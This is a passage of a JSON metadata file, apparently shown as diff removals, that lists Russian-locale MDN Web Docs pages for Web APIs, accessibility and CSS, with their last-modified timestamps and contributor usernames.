"Web/API/WindowEventHandlers/onbeforeunload": { - "modified": "2020-10-15T21:52:01.565Z", - "contributors": [ - "bershanskiy", - "Khich", - "mcmimik", - "R.A.S.", - "sumthief", - "WispProxy", - "vitalyzhakov", - "artemderzkiy", - "rtf-const" - ] - }, - "Web/API/WindowEventHandlers/onhashchange": { - "modified": "2019-03-23T22:58:29.697Z", - "contributors": [ - "alexismaster" - ] - }, - "Web/API/WindowEventHandlers/onpopstate": { - "modified": "2020-10-15T21:34:09.985Z", - "contributors": [ - "hisbvdis", - "stary71", - "alexismaster" - ] - }, - "Web/API/WindowEventHandlers/onunload": { - "modified": "2019-03-23T22:58:38.393Z", - "contributors": [ - "AlexChuev", - "alexismaster" - ] - }, - "Web/API/WindowOrWorkerGlobalScope": { - "modified": "2020-04-09T14:17:18.919Z", - "contributors": [ - "Drrragonica", - "b0rique", - "kenrick95" - ] - }, - "Web/API/WindowOrWorkerGlobalScope/atob": { - "modified": "2019-03-23T22:02:40.728Z", - "contributors": [ - "HawkeyePierce89", - "hunty" - ] - }, - "Web/API/WindowOrWorkerGlobalScope/caches": { - "modified": "2020-10-29T09:02:45.566Z", - "contributors": [ - "ScratchFilin", - "evilwithin93rus" - ] - }, - "Web/API/WindowOrWorkerGlobalScope/clearTimeout": { - "modified": "2020-10-15T22:33:31.469Z", - "contributors": [ - "andzion105" - ] - }, - "Web/API/WindowOrWorkerGlobalScope/fetch": { - "modified": "2020-10-15T22:06:28.491Z", - "contributors": [ - "BadLame", - "dasha_hshr" - ] - }, - "Web/API/WindowOrWorkerGlobalScope/setInterval": { - "modified": "2020-11-18T12:13:20.493Z", - "contributors": [ - "kosarev_va", - "WhiteApfel", - "lilka9", - "AliaksandrZahorski" - ] - }, - "Web/API/WindowTimers": { - "modified": "2019-03-23T23:01:38.088Z", - "contributors": [ - "fscholz" - ] - }, - "Web/API/WindowTimers/setTimeout": { - "modified": "2020-11-18T12:03:29.649Z", - "contributors": [ - "kosarev_va", - "YozhEzhi", - "AliaksandrZahorski", - "akaguny", - "marat-curious", - "neustroev.artyom", - "fscholz", - "ichent" - ] - }, - "Web/API/Worker": { - "modified": "2019-03-23T22:47:25.398Z", - "contributors": [ - "sgrogov", - "Helen4gu" - ] - }, - "Web/API/Worker/Worker": { - "modified": "2020-10-15T22:11:38.920Z", - "contributors": [ - "iGureEV" - ] - }, - "Web/API/Worker/onmessage": { - "modified": "2019-03-23T22:42:44.668Z", - "contributors": [ - "vkorniiko" - ] - }, - "Web/API/Worker/postMessage": { - "modified": "2020-10-15T22:11:36.490Z", - "contributors": [ - "chrisdavidmills", - "iGureEV" - ] - }, - "Web/API/Worker/terminate": { - "modified": "2020-10-15T22:11:36.392Z", - "contributors": [ - "iGureEV" - ] - }, - "Web/API/WorkerGlobalScope": { - "modified": "2020-10-15T22:28:27.063Z", - "contributors": [ - "anubhavsrivastava" - ] - }, - "Web/API/WorkerGlobalScope/importScripts": { - "modified": "2020-11-28T13:21:29.053Z", - "contributors": [ - "ialexi-bl", - "kjkoala", - "RAPOS" - ] - }, - "Web/API/XMLHttpRequest": { - "modified": "2020-10-15T21:27:22.288Z", - "contributors": [ - "korrectiv", - "wbamberg", - "YozhEzhi", - "ITStepMike", - "iliyaZelenko", - "vseslav98", - "Pristavka", - "zalivadnyi", - "arturparkhisenko", - "desvu", - "RomaShKeee", - "BitChap", - "torbasow", - "an2323", - "fider", - "degr", - "CosmicBoris", - "fscholz", - "kohei.yoshino" - ] - }, - "Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data": { - "modified": "2020-11-20T18:11:14.497Z", - "contributors": [ - "rsvato", - "b0rique", - "bagau", - "saga111a" - ] - }, - "Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests": { - "modified": "2019-03-18T20:59:58.784Z", - "contributors": [ - "Antonbreakble" - ] - }, - "Web/API/XMLHttpRequest/Using_XMLHttpRequest": { - "modified": "2020-08-29T22:53:18.449Z", - "contributors": [ - "Saiffer", - "Longraf", - "carboncheg", - "higimo", - "vladlipski", - "forestbird", - "Leo240", - "iameugene", - "vittorio-tortugo", - "almakano" - ] - }, - "Web/API/XMLHttpRequest/XMLHttpRequest": { - "modified": "2020-01-20T13:55:36.892Z", - "contributors": [ - "Don2Quixote", - "fuggy", - "lisapedia" - ] - }, - "Web/API/XMLHttpRequest/abort": { - "modified": "2020-10-15T21:47:37.585Z", - "contributors": [ - "FFxSquall", - "fider" - ] - }, - "Web/API/XMLHttpRequest/getResponseHeader": { - "modified": "2019-03-23T22:29:58.839Z", - "contributors": [ - "fider" - ] - }, - "Web/API/XMLHttpRequest/onreadystatechange": { - "modified": "2019-03-23T22:31:10.101Z", - "contributors": [ - "fider" - ] - }, - "Web/API/XMLHttpRequest/open": { - "modified": "2020-10-15T22:01:52.733Z", - "contributors": [ - "FFxSquall", - "torbasow", - "carboncheg", - "olegrasskazovpro", - "bagau" - ] - }, - "Web/API/XMLHttpRequest/readyState": { - "modified": "2019-03-18T20:49:46.579Z", - "contributors": [ - "ZaWertun", - "sollerias", - "fider" - ] - }, - "Web/API/XMLHttpRequest/response": { - "modified": "2020-10-15T22:13:50.836Z", - "contributors": [ - "carboncheg" - ] - }, - "Web/API/XMLHttpRequest/responseText": { - "modified": "2020-10-15T22:12:37.388Z", - "contributors": [ - "dimoff66", - "ncux199rus" - ] - }, - "Web/API/XMLHttpRequest/responseType": { - "modified": "2019-03-23T22:02:53.091Z", - "contributors": [ - "bagau", - "easydeads" - ] - }, - "Web/API/XMLHttpRequest/responseURL": { - "modified": "2020-10-15T22:15:53.280Z", - "contributors": [ - "viktoryiakuzmitskaya" - ] - }, - "Web/API/XMLHttpRequest/responseXML": { - "modified": "2020-05-17T20:00:59.171Z", - "contributors": [ - "s-n-ushakov", - "Salasar" - ] - }, - "Web/API/XMLHttpRequest/send": { - "modified": "2019-08-24T10:29:02.664Z", - "contributors": [ - "seka19", - "egsk", - "rgrtuleague", - "dim0nickb" - ] - }, - "Web/API/XMLHttpRequest/setRequestHeader": { - "modified": "2019-03-23T22:04:50.272Z", - "contributors": [ - "korchemkin", - "zbarinov" - ] - }, - "Web/API/XMLHttpRequest/status": { - "modified": "2020-10-15T22:13:51.118Z", - "contributors": [ - "carboncheg" - ] - }, - "Web/API/XMLHttpRequest/statusText": { - "modified": "2020-10-15T22:13:50.680Z", - "contributors": [ - "carboncheg" - ] - }, - "Web/API/XMLHttpRequest/timeout": { - "modified": "2019-03-23T22:31:12.642Z", - "contributors": [ - "fider" - ] - }, - "Web/API/XMLHttpRequest/upload": { - "modified": "2019-03-23T22:29:56.572Z", - "contributors": [ - "forestbird" - ] - }, - "Web/API/XMLHttpRequest/withCredentials": { - "modified": "2020-10-30T13:55:59.918Z", - "contributors": [ - "Zakhse", - "nakhodkiin", - "Salasar" - ] - }, - "Web/API/XMLSerializer": { - "modified": "2019-03-23T22:17:05.888Z", - "contributors": [ - "t1gor" - ] - }, - "Web/API/notification": { - "modified": "2019-03-23T22:43:07.772Z", - "contributors": [ - "Dimonasdf", - "talgautb", - "102", - "teoli", - "fsanano" - ] - }, - "Web/API/Видимость_страницы_API": { - "modified": "2020-10-15T22:34:15.870Z", - "contributors": [ - "vstorm" - ] - }, - "Web/API/Нотация": { - "modified": "2020-10-15T22:17:39.773Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/Accessibility": { - "modified": "2020-07-28T10:32:10.158Z", - "contributors": [ - "RaMDiss", - "servis.gruz74", - "D.Lesnik", - "SphinxKnight", - "helperman", - "chmutoff", - "Aleksej", - "teoli", - "jswisher" - ] - }, - "Web/Accessibility/ARIA": { - "modified": "2019-03-18T20:49:39.723Z", - "contributors": [ - "upyx", - "gudkovdanila", - "Banzay", - "EvgenyI" - ] - }, - "Web/Accessibility/ARIA/ARIA_Live_Regions": { - "modified": "2019-03-23T22:29:31.330Z", - "contributors": [ - "asasin" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques": { - "modified": "2019-03-18T21:40:55.887Z", - "contributors": [ - "zbralex", - "fscholz" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute": { - "modified": "2019-09-05T14:23:53.718Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute": { - "modified": "2019-08-16T05:54:48.136Z", - "contributors": [ - "niktariy", - "andreyshedko", - "kesha.ohrimenko" - ] - }, - "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute": { - "modified": "2019-03-18T21:20:26.038Z", - "contributors": [ - "michael_v92" - ] - }, - "Web/Accessibility/ARIA/Roles": { - "modified": "2019-03-19T11:13:31.021Z" - }, - "Web/Accessibility/ARIA/Roles/checkbox_role": { - "modified": "2019-03-19T11:13:31.955Z", - "contributors": [ - "viktoryiakuzmitskaya" - ] - }, - "Web/Accessibility/Keyboard-navigable_JavaScript_widgets": { - "modified": "2019-03-18T21:11:39.809Z", - "contributors": [ - "DianaGalter", - "Chudesnov", - "yakotika", - "estelle", - "MicOne", - "SphinxKnight", - "ArianaFa", - "nikolaifedorov", - "Aleksej", - "teoli", - "Jifeon" - ] - }, - "Web/Accessibility/Mobile_accessibility_checklist": { - "modified": "2019-04-03T18:12:38.914Z", - "contributors": [ - "mbalabash" - ] - }, - "Web/Accessibility/Understanding_WCAG": { - "modified": "2019-03-18T20:58:14.069Z", - "contributors": [ - "christopherwilson1" - ] - }, - "Web/Accessibility/Understanding_WCAG/Keyboard": { - "modified": "2020-11-17T11:48:31.223Z", - "contributors": [ - "ukhin.miha" - ] - }, - "Web/Accessibility/Understanding_WCAG/Perceivable": { - "modified": "2019-03-18T20:58:13.895Z", - "contributors": [ - "estelle" - ] - }, - "Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast": { - "modified": "2019-03-18T20:58:10.794Z", - "contributors": [ - "iamvector" - ] - }, - "Web/Accessibility/Веб-разработка": { - "modified": "2019-03-23T22:57:21.133Z", - "contributors": [ - "Aleksej" - ] - }, - "Web/CSS": { - "modified": "2019-10-31T08:17:43.061Z", - "contributors": [ - "Solj", - "X7Becka", - "SphinxKnight", - "aleshkanet", - "mavr1k", - "VaniaIT", - "BychekRU", - "fider", - "LAshwind", - "shalimski", - "lavavrik", - "s1lver", - "Aleksej", - "ldone", - "teoli", - "Decease", - "jucke", - "Norville", - "PWeilbacher", - "Softwayer", - "Nikoro" - ] - }, - "Web/CSS/--*": { - "modified": "2019-03-23T22:29:56.828Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:-moz-focusring": { - "modified": "2019-03-23T22:37:34.919Z", - "contributors": [ - "teoli", - "DVV", - "andreww2012" - ] - }, - "Web/CSS/:-moz-only-whitespace": { - "modified": "2020-10-15T22:11:44.237Z", - "contributors": [ - "ExE-Boss", - "ialexi-bl" - ] - }, - "Web/CSS/::-moz-progress-bar": { - "modified": "2019-03-18T21:34:42.005Z", - "contributors": [ - "RusDangerMaster" - ] - }, - "Web/CSS/::-webkit-slider-thumb": { - "modified": "2019-03-18T21:40:51.580Z", - "contributors": [ - "teoli", - "NSearcher" - ] - }, - "Web/CSS/::after": { - "modified": "2020-10-15T21:43:30.366Z", - "contributors": [ - "warsan", - "pgpa", - "Nerill", - "dima74", - "andreww2012" - ] - }, - "Web/CSS/::backdrop": { - "modified": "2020-10-15T22:11:47.485Z", - "contributors": [ - "Akh-rman", - "ialexi-bl" - ] - }, - "Web/CSS/::before": { - "modified": "2020-10-15T21:46:42.683Z", - "contributors": [ - "sharpist", - "Irensooz", - "dima74", - "e-omo" - ] - }, - "Web/CSS/::cue": { - "modified": "2020-11-18T03:14:10.914Z", - "contributors": [ - "vladimir.monomax", - "ekirpichyov" - ] - }, - "Web/CSS/::first-letter": { - "modified": "2020-10-15T22:01:30.722Z", - "contributors": [ - "VeeSot", - "dima74" - ] - }, - "Web/CSS/::first-line": { - "modified": "2020-10-15T22:01:31.319Z", - "contributors": [ - "dima74" - ] - }, - "Web/CSS/::grammar-error": { - "modified": "2020-10-15T22:35:19.695Z", - "contributors": [ - "elkabelaya" - ] - }, - "Web/CSS/::marker": { - "modified": "2020-10-15T22:35:06.070Z", - "contributors": [ - "StanEffy" - ] - }, - "Web/CSS/::placeholder": { - "modified": "2020-10-15T22:22:45.948Z", - "contributors": [ - "crystalbit", - "ekirpichyov" - ] - }, - "Web/CSS/::selection": { - "modified": "2020-10-15T21:54:33.640Z", - "contributors": [ - "dima74", - "Winni-", - "karpulix" - ] - }, - "Web/CSS/::slotted": { - "modified": "2020-10-15T22:30:47.087Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/:active": { - "modified": "2020-10-15T21:25:08.259Z", - "contributors": [ - "ekirpichyov", - "Alinaki", - "fscholz", - "harinag", - "BychekRU", - "andreww2012", - "ahtohbi4", - "teoli", - "Nuzland" - ] - }, - "Web/CSS/:any": { - "modified": "2019-03-23T22:39:12.816Z", - "contributors": [ - "BychekRU", - "JhonyLe" - ] - }, - "Web/CSS/:any-link": { - "modified": "2020-11-13T17:12:16.338Z", - "contributors": [ - "niki-timofe", - "opereverzeva", - "talgautb" - ] - }, - "Web/CSS/:checked": { - "modified": "2019-03-23T22:22:35.933Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:default": { - "modified": "2019-03-23T22:03:20.135Z", - "contributors": [ - "hlomzik", - "dictor93" - ] - }, - "Web/CSS/:defined": { - "modified": "2020-10-15T22:11:44.296Z", - "contributors": [ - "ialexi-bl" - ] - }, - "Web/CSS/:dir": { - "modified": "2020-10-15T22:22:06.162Z", - "contributors": [ - "Sirruthf" - ] - }, - "Web/CSS/:disabled": { - "modified": "2019-03-23T22:36:32.271Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:empty": { - "modified": "2020-10-15T21:47:40.404Z", - "contributors": [ - "YozhEzhi", - "BychekRU" - ] - }, - "Web/CSS/:enabled": { - "modified": "2019-03-23T22:36:34.925Z", - "contributors": [ - "s-olhov", - "BychekRU" - ] - }, - "Web/CSS/:first": { - "modified": "2020-11-30T13:45:42.789Z", - "contributors": [ - "Dima8249", - "zpawn", - "Akh-rman", - "ialexi-bl" - ] - }, - "Web/CSS/:first-child": { - "modified": "2020-10-15T21:44:16.680Z", - "contributors": [ - "almaceleste", - "BychekRU" - ] - }, - "Web/CSS/:first-of-type": { - "modified": "2019-03-18T21:21:16.262Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:focus": { - "modified": "2020-10-15T21:44:14.929Z", - "contributors": [ - "fuggy", - "BychekRU" - ] - }, - "Web/CSS/:focus-visible": { - "modified": "2020-10-26T13:18:51.888Z", - "contributors": [ - "sh4rov" - ] - }, - "Web/CSS/:focus-within": { - "modified": "2020-10-15T22:17:16.562Z", - "contributors": [ - "everAtWork", - "ozgg", - "solovevserg" - ] - }, - "Web/CSS/:fullscreen": { - "modified": "2020-10-15T22:26:06.884Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/:has": { - "modified": "2020-10-15T22:28:06.974Z", - "contributors": [ - "corocoto" - ] - }, - "Web/CSS/:host()": { - "modified": "2020-10-15T22:34:25.488Z", - "contributors": [ - "DianaLoiko" - ] - }, - "Web/CSS/:hover": { - "modified": "2019-03-23T22:36:25.619Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:in-range": { - "modified": "2019-07-11T08:24:22.558Z", - "contributors": [ - "jynweythek", - "BychekRU" - ] - }, - "Web/CSS/:indeterminate": { - "modified": "2020-10-15T22:11:58.259Z", - "contributors": [ - "Akh-rman", - "ialexi-bl" - ] - }, - "Web/CSS/:invalid": { - "modified": "2019-03-23T22:36:36.766Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:is": { - "modified": "2020-10-15T22:34:40.328Z", - "contributors": [ - "Norvint" - ] - }, - "Web/CSS/:lang": { - "modified": "2020-10-15T22:30:02.325Z", - "contributors": [ - "leofeen" - ] - }, - "Web/CSS/:last-child": { - "modified": "2019-03-23T22:36:43.348Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:last-of-type": { - "modified": "2020-10-15T21:44:56.432Z", - "contributors": [ - "dima74", - "BychekRU" - ] - }, - "Web/CSS/:left": { - "modified": "2020-10-15T22:17:23.814Z", - "contributors": [ - "Norvint", - "opereverzeva" - ] - }, - "Web/CSS/:link": { - "modified": "2019-07-11T05:51:13.064Z", - "contributors": [ - "Allakazam", - "Cheshikhina", - "DmitryK", - "BychekRU" - ] - }, - "Web/CSS/:not": { - "modified": "2019-03-23T22:36:48.673Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:nth-child": { - "modified": "2020-10-15T21:44:55.521Z", - "contributors": [ - "axadr", - "dima74", - "vislogurov", - "BychekRU" - ] - }, - "Web/CSS/:nth-last-child": { - "modified": "2019-03-23T22:35:32.022Z", - "contributors": [ - "JediKnightIT", - "BychekRU" - ] - }, - "Web/CSS/:nth-last-of-type": { - "modified": "2020-10-15T21:44:57.480Z", - "contributors": [ - "dima74", - "BychekRU" - ] - }, - "Web/CSS/:nth-of-type": { - "modified": "2020-10-15T21:45:02.543Z", - "contributors": [ - "romash1408", - "dima74", - "BychekRU" - ] - }, - "Web/CSS/:only-child": { - "modified": "2020-10-15T21:44:55.433Z", - "contributors": [ - "YozhEzhi", - "BychekRU" - ] - }, - "Web/CSS/:only-of-type": { - "modified": "2020-10-15T21:44:55.259Z", - "contributors": [ - "7nik", - "BychekRU" - ] - }, - "Web/CSS/:optional": { - "modified": "2019-03-23T22:36:43.502Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:out-of-range": { - "modified": "2019-06-26T05:53:07.182Z", - "contributors": [ - "BorisKoshelev", - "BychekRU" - ] - }, - "Web/CSS/:placeholder-shown": { - "modified": "2020-10-15T21:56:26.914Z", - "contributors": [ - "ekirpichyov", - "aleshkanet", - "sweetsmith", - "Hydrock" - ] - }, - "Web/CSS/:read-only": { - "modified": "2020-10-15T21:44:17.675Z", - "contributors": [ - "fscholz", - "BychekRU" - ] - }, - "Web/CSS/:read-write": { - "modified": "2020-10-15T21:44:16.678Z", - "contributors": [ - "fscholz", - "BychekRU" - ] - }, - "Web/CSS/:required": { - "modified": "2019-03-23T22:36:44.558Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:right": { - "modified": "2019-03-23T22:06:43.472Z", - "contributors": [ - "alfaslash" - ] - }, - "Web/CSS/:root": { - "modified": "2019-03-23T22:29:57.638Z", - "contributors": [ - "artcygn", - "BychekRU" - ] - }, - "Web/CSS/:target": { - "modified": "2020-10-15T22:23:27.494Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/:valid": { - "modified": "2019-03-23T22:36:41.439Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:visited": { - "modified": "2019-03-23T22:36:25.847Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/:where": { - "modified": "2020-12-02T04:36:14.147Z", - "contributors": [ - "kostyabushuev" - ] - }, - "Web/CSS/@counter-style": { - "modified": "2019-03-23T22:37:59.122Z", - "contributors": [ - "andreww2012", - "Sebastianz" - ] - }, - "Web/CSS/@counter-style/additive-symbols": { - "modified": "2019-03-18T20:57:55.570Z", - "contributors": [ - "Akh-rman", - "andreww2012" - ] - }, - "Web/CSS/@document": { - "modified": "2020-10-15T22:10:49.689Z", - "contributors": [ - "Vilafox" - ] - }, - "Web/CSS/@font-face": { - "modified": "2020-10-15T21:56:10.559Z", - "contributors": [ - "WDD", - "gudkovdanila", - "Luboshenko", - "Fapalz", - "wbamberg" - ] - }, - "Web/CSS/@font-face/font-display": { - "modified": "2019-03-23T22:08:00.584Z", - "contributors": [ - "bakoushin", - "IgorLesnevskiy", - "FlowerDeLuce" - ] - }, - "Web/CSS/@font-face/font-family": { - "modified": "2020-10-15T22:17:30.533Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/@font-feature-values": { - "modified": "2020-10-15T22:15:06.794Z", - "contributors": [ - "Akh-rman" - ] - }, - "Web/CSS/@media": { - "modified": "2020-03-28T14:42:27.070Z", - "contributors": [ - "Virss", - "jellymary", - "talgautb", - "Landlord" - ] - }, - "Web/CSS/@media/inverted-colors": { - "modified": "2020-10-15T22:15:11.465Z", - "contributors": [ - "nikolai-shabalin" - ] - }, - "Web/CSS/@media/orientation": { - "modified": "2020-10-15T22:23:16.884Z", - "contributors": [ - "iTw1zT" - ] - }, - "Web/CSS/@media/prefers-color-scheme": { - "modified": "2020-10-15T22:15:12.069Z", - "contributors": [ - "DmNsk2016", - "ekirpichyov", - "Solj", - "nikolai-shabalin" - ] - }, - "Web/CSS/@media/prefers-reduced-motion": { - "modified": "2020-10-15T22:15:07.373Z", - "contributors": [ - "nikolai-shabalin" - ] - }, - "Web/CSS/@media/scripting": { - "modified": "2020-10-15T22:15:10.762Z", - "contributors": [ - "nikolai-shabalin" - ] - }, - "Web/CSS/@namespace": { - "modified": "2019-06-17T09:15:56.443Z", - "contributors": [ - "jkulvich", - "fscholz", - "teoli", - "Aleksej", - "Nuzland" - ] - }, - "Web/CSS/@page": { - "modified": "2020-10-15T22:18:40.976Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/@supports": { - "modified": "2019-03-23T22:37:58.837Z", - "contributors": [ - "andreww2012" - ] - }, - "Web/CSS/@viewport": { - "modified": "2020-05-13T06:10:35.795Z", - "contributors": [ - "mandalorian7117", - "cvrebert" - ] - }, - "Web/CSS/@viewport/user-zoom": { - "modified": "2019-03-23T22:21:08.056Z", - "contributors": [ - "Hydrock" - ] - }, - "Web/CSS/Adjacent_sibling_combinator": { - "modified": "2019-03-23T22:45:33.275Z", - "contributors": [ - "ExE-Boss", - "Demitrius", - "jswisher", - "BychekRU", - "Limitrof" - ] - }, - "Web/CSS/At-rule": { - "modified": "2019-11-07T14:56:39.596Z", - "contributors": [ - "sashakrauzer", - "JokerHD" - ] - }, - "Web/CSS/Attribute_selectors": { - "modified": "2019-03-23T22:55:54.351Z", - "contributors": [ - "surrsoft" - ] - }, - "Web/CSS/CSS_Animations": { - "modified": "2019-03-23T22:43:47.167Z", - "contributors": [ - "Geloosa", - "teoli", - "MexieAndCo" - ] - }, - "Web/CSS/CSS_Animations/Detecting_CSS_animation_support": { - "modified": "2020-05-04T14:05:30.058Z", - "contributors": [ - "anna.bunakova" - ] - }, - "Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy": { - "modified": "2019-09-08T05:26:38.746Z", - "contributors": [ - "dmarkin", - "trman", - "KatyaRyazantseva", - "Inqanter", - "pseudoliza", - "ShadF0x", - "verbaux", - "SphinxKnight", - "mrkorsar", - "teoli", - "ukarim" - ] - }, - "Web/CSS/CSS_Animations/Tips": { - "modified": "2020-05-03T11:02:29.768Z", - "contributors": [ - "anna.bunakova" - ] - }, - "Web/CSS/CSS_Background_and_Borders": { - "modified": "2019-03-23T22:40:44.971Z", - "contributors": [ - "teoli" - ] - }, - "Web/CSS/CSS_Background_and_Borders/Border-image_generator": { - "modified": "2019-03-23T22:25:50.600Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/CSS_Background_and_Borders/Border-radius_генератор": { - "modified": "2019-03-23T22:40:49.075Z", - "contributors": [ - "vito_falcone" - ] - }, - "Web/CSS/CSS_Background_and_Borders/Множественные_фоны": { - "modified": "2019-03-23T22:13:04.810Z", - "contributors": [ - "J-N-Z" - ] - }, - "Web/CSS/CSS_Basic_User_Interface": { - "modified": "2019-03-18T21:18:49.969Z", - "contributors": [ - "SphinxKnight" - ] - }, - "Web/CSS/CSS_Basic_User_Interface/Использование_URL_значений_для_свойства_cursor": { - "modified": "2019-03-23T22:05:55.809Z", - "contributors": [ - "SphinxKnight", - "ExE-Boss", - "Cheg" - ] - }, - "Web/CSS/CSS_Box_Alignment": { - "modified": "2019-03-18T21:33:03.343Z", - "contributors": [ - "slychai85" - ] - }, - "Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox": { - "modified": "2020-06-05T15:51:55.007Z", - "contributors": [ - "randomesis" - ] - }, - "Web/CSS/CSS_Box_Model": { - "modified": "2019-03-23T22:36:43.800Z", - "contributors": [ - "Sebastianz" - ] - }, - "Web/CSS/CSS_Box_Model/Box-shadow_generator": { - "modified": "2019-03-18T20:43:50.074Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/CSS_Box_Model/Mastering_margin_collapsing": { - "modified": "2020-07-01T02:44:27.480Z", - "contributors": [ - "ialexi-bl", - "trman", - "xaveroniter", - "whiteGloom", - "Tuman", - "antipenko", - "Luboshenko", - "andrew-bishop", - "stakeout", - "RomanAkhma", - "hinduCoder" - ] - }, - "Web/CSS/CSS_Colors": { - "modified": "2019-03-23T22:34:30.410Z", - "contributors": [ - "BychekRU", - "Krenair" - ] - }, - "Web/CSS/CSS_Colors/Color_picker_tool": { - "modified": "2019-03-23T22:34:32.727Z", - "contributors": [ - "altsab", - "THEIDN", - "buhantsev" - ] - }, - "Web/CSS/CSS_Columns": { - "modified": "2019-03-23T22:43:48.744Z", - "contributors": [ - "Sebastianz" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout": { - "modified": "2020-10-19T05:53:46.314Z", - "contributors": [ - "kyusov", - "idoru", - "WynnChen" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox": { - "modified": "2019-03-18T21:22:36.012Z", - "contributors": [ - "viktoryiakuzmitskaya" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox": { - "modified": "2020-07-30T04:09:14.375Z", - "contributors": [ - "aka.sonja", - "seejay", - "sashakrauzer", - "RomanBush", - "kalitadanila" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items": { - "modified": "2020-07-12T10:15:34.642Z", - "contributors": [ - "PavelKoroteev", - "RomanBush" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes": { - "modified": "2019-09-25T09:43:14.453Z", - "contributors": [ - "RomanBush", - "billlater", - "KadirTopal", - "DmitriyPoltavskiy", - "MrDaedra", - "antenko", - "dixiony", - "SKaznadei", - "iamale" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элементов_в_Flex_контейнере": { - "modified": "2020-05-25T19:08:16.925Z", - "contributors": [ - "synedvorkham", - "Ruslan_Zlygostev", - "AndriySikora", - "idoru", - "lexeek", - "kalitadanila", - "m-o-semenov", - "ViktoriLisenok", - "dubtar" - ] - }, - "Web/CSS/CSS_Flexible_Box_Layout/Контролирование_соотношения_элементов_вдоль_главной_оси": { - "modified": "2020-03-08T07:17:57.807Z", - "contributors": [ - "Radragon", - "billlater" - ] - }, - "Web/CSS/CSS_Flow_Layout": { - "modified": "2020-03-07T13:30:09.947Z", - "contributors": [ - "Radragon" - ] - }, - "Web/CSS/CSS_Flow_Layout/Блочное_и_строчное_размещение_в_нормальном_потоке": { - "modified": "2020-11-03T12:58:17.297Z", - "contributors": [ - "at940266" - ] - }, - "Web/CSS/CSS_Flow_Layout/Введение_в_контексты_форматирования": { - "modified": "2020-03-08T14:31:08.319Z", - "contributors": [ - "Radragon" - ] - }, - "Web/CSS/CSS_Fonts": { - "modified": "2020-10-10T08:59:00.093Z", - "contributors": [ - "StanEffy" - ] - }, - "Web/CSS/CSS_Grid_Layout": { - "modified": "2020-04-17T02:22:53.979Z", - "contributors": [ - "alexphilin", - "RomanBush", - "Kamye", - "SavkovCG", - "dblokhin", - "Renatdk", - "Fgeniy", - "igor-klymenok", - "InkFaust", - "SHOOROOP" - ] - }, - "Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout": { - "modified": "2020-10-15T04:59:47.084Z", - "contributors": [ - "Virss", - "touze147", - "john_roldven", - "iandr", - "nicktorn89", - "ArtemSkachko", - "greensleeves", - "PaulineNemchak", - "hmdn", - "miirinjej", - "avkozlov4", - "Sajag", - "coshturnina", - "zhenetta", - "sergeytkachenko", - "dek4nice", - "chemaxa" - ] - }, - "Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout": { - "modified": "2020-06-05T16:04:56.391Z", - "contributors": [ - "randomesis", - "dimahvatit", - "slychai85" - ] - }, - "Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes": { - "modified": "2019-03-18T21:35:04.965Z", - "contributors": [ - "slychai85" - ] - }, - "Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines": { - "modified": "2020-04-04T03:56:43.842Z", - "contributors": [ - "anna.bunakova" - ] - }, - "Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout": { - "modified": "2020-04-12T13:44:00.238Z", - "contributors": [ - "anna.bunakova" - ] - }, - "Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout": { - "modified": "2019-03-23T22:10:21.250Z", - "contributors": [ - "denisvovchenko", - "coshturnina", - "InkFaust" - ] - }, - "Web/CSS/CSS_Grid_Layout/Subgrid": { - "modified": "2019-11-24T10:14:04.099Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/CSS/CSS_Grid_Layout/Грид-области": { - "modified": "2019-03-18T21:10:23.458Z", - "contributors": [ - "maximTorba", - "denisvovchenko", - "slychai85", - "coshturnina" - ] - }, - "Web/CSS/CSS_Grid_Layout/Расположение_элементов_по_грид-линиям_с_помощью_CSS_Grid": { - "modified": "2020-09-29T19:08:10.559Z", - "contributors": [ - "Zulcom", - "denisvovchenko", - "coshturnina" - ] - }, - "Web/CSS/CSS_Images": { - "modified": "2019-03-23T22:33:49.629Z", - 